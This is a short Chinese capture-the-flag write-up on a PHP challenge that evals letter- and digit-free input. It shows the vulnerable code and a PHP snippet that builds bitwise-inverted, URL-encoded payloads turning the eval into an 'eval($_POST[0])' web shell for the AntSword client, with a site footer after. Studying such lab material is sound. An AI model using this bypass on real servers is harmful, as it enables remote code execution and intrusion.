首先进入环境审一下代码:
<?php
error_reporting(0);
if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}
else{highlight_file(__FILE__);
}// ?>
比较明显的无字母数字RCE,而且过滤的比较简单,各种姿势基本上都可以用。因此存在长度限制,因此用取反而不是异或。
但是我的思维还是存在局限性,就是只是单纯的(函数)(参数)这样的去执行函数,对于如何$_POST传参让蚁剑连有些迷,后来也是看了大师傅的才恍然大悟。直接这样:
<?php$payload='assert';
echo "~".urlencode(~$payload)." ";
$payload="eval(\$_POST[0])";
echo "~".urlencode(~$payload)." ";
然后就可以蚁剑连了。
蚁剑连上后利用插件:
直接/readflag就可以了:
这题也可以手工利用LD_preload,网上都有方法就不再提了。
另外,如果不利用$_POST传也可以,可以利用getallheaders,这也是个小trick。
版权声明:本站所有资料均为网友推荐收集整理而来,仅供学习和研究交流使用。
工作时间:8:00-18:00
客服电话
电子邮件
admin@qq.com
扫码二维码
获取最新动态